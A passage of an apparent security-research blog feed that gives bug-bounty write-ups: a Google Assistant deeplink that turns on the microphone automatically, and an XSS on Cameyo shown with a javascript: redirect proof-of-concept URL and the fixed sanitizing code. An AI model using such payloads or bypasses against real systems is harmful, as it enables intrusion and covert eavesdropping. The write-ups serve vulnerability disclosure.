Originally awarded $500 by Abuse VRP like the Android lockscreen data leak but added $2633.70 after checking they got it right the first time.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[When the Google Assistant is opened with a deeplink, it should require manually pressing on the microphone icon to start listening per https://feed.bugs.xdavidhu.me/bugs/0011 (unless “OK Google” is enabled). However, if anything opens the com.google.android.apps.googleassistant app like with the market://launch?id=com.google.android.apps.googleassistant deeplink/BROWSABLE intent, it will automatically activate the microphone, bypassing this protection and allowing the Web Speech API to have a chat.]]></summary></entry><entry><title type="html">Cameyo XSS</title><link href="https://ndevtk.github.io/writeups/2025/07/03/cameyo-xss/" rel="alternate" type="text/html" title="Cameyo XSS" /><published>2025-07-03T00:00:00+00:00</published><updated>2025-07-03T00:00:00+00:00</updated><id>https://ndevtk.github.io/writeups/2025/07/03/cameyo-xss</id><content type="html" xml:base="https://ndevtk.github.io/writeups/2025/07/03/cameyo-xss/"><![CDATA[<p>XSS on Cameyo’s Virtual App Delivery platform (alternative to VDI &amp; DaaS), a TIER0 Google acquisition per <a href="https://github.com/google/bughunters/blob/d1d112929c1e10ce86ec5686fa81eb1f828dd019/domain-tiers/external_domains_acquisitions.asciipb#L26">https://github.com/google/bughunters/blob/d1d112929c1e10ce86ec5686fa81eb1f828dd019/domain-tiers/external_domains_acquisitions.asciipb#L26</a></p>

<p>PoC:
<a href="https://online.cameyo.com/apps/foo?setCookie=CyoMngEnt=&amp;redirUrl=javascript:alert(origin)">https://online.cameyo.com/apps/foo?setCookie=CyoMngEnt=&amp;redirUrl=javascript:alert(origin)</a></p>

<p>This was fixed by sanitizing redirect URLs to only allow the HTTP and HTTPS protocols.</p>

<div class="language-js highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">function</span> <span class="nx">getSafeRedirectUrl</span><span class="p">(</span><span class="nx">urlParameter</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nx">urlParameter</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span><span class="p">;</span> <span class="c1">// No URL provided</span>
  <span class="p">}</span>
  <span class="k">try</span> <span class="p">{</span>
    <span class="kd">const</span> <span class="nx">url</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">URL</span><span class="p">(</span><span class="nx">urlParameter</span><span class="p">,</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">origin</span><span class="p">);</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">protocol</span> <span class="o">!==</span> <span class="dl">'</span><span class="s1">http:</span><span class="dl">'</span> <span class="o">&amp;&amp;</span> <span class="nx">url</span><span class="p">.</span><span class="nx">protocol</span> <span class="o">!==</span> <span class="dl">'</span><span class="s1">https:</span><span class="dl">'</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span><span class="p">;</span> <span class="c1">//Blocked redirect to potentially unsafe URL</span>
    <span class="p">}</span>
    <span class="k">if</span> <span class="p">(</span><span class="nx">url</span><span class="p">.</span><span class="nx">hostname</span> <span class="o">!==</span> <span class="nb">window</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">hostname</span><span class="p">)</span> <span class="p">{</span>
      <span class="k">return</span><span class="p">;</span> <span class="c1">//Blocked redirect to external URL</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nx">url</span><span class="p">;</span>
  <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">e</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">return</span><span class="p">;</span> <span class="c1">// Handle cases where urlParameter is not a valid URL at all</span>
  <span class="p">}</span>
<span class="p">}</span>

<span class="c1">// SetCookie (used by companyAdd.aspx)</span>
<span class="kd">var</span> <span class="nx">setCookie</span> <span class="o">=</span> <span class="nx">getURLParameter</span><span class="p">(</span><span class="dl">'</span><span class="s1">setCookie</span><span class="dl">'</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">setCookie</span> <span class="o">!==</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="nx">setCookie</span><span class="p">.</span><span class="nx">startsWith</span><span class="p">(</span><span class="dl">'</span><span class="s1">CyoMngEnt=</span><span class="dl">'</span><span class="p">))</span> <span class="p">{</span>
  <span class="kd">var</span> <span class="nx">redirUrl</span> <span class="o">=</span> <span class="nx">getURLParameter</span><span class="p">(</span><span class="dl">'</span><span class="s1">redirUrl</span><span class="dl">'</span><span class="p">);</span>
  <span class="kd">var</span> <span class="nx">safeUrl</span> <span class="o">=</span> <span class="nx">getSafeRedirectUrl</span><span class="p">(</span><span class="nx">redirUrl</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="nx">safeUrl</span><span class="p">)</span> <span class="p">{</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span> <span class="o">=</span> <span class="nx">setCookie</span><span class="p">;</span>
    <span class="nb">document</span><span class="p">.</span><span class="nx">location</span><span class="p">.</span><span class="nx">href</span> <span class="o">=</span> <span class="nx">safeUrl</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This was a duplicate report so was not rewarded.</p>]]></content><author><name></name></author><summary type="html"><![CDATA[XSS on Cameyo’s Virtual App Delivery platform (alternative to VDI &amp; DaaS), a TIER0 Google acquisition per https://github.com/google/bughunters/blob/d1d112929c1e10ce86ec5686fa81eb1f828dd019/domain-tiers/external_domains_acquisitions.asciipb#L26]]></summary></entry></feed>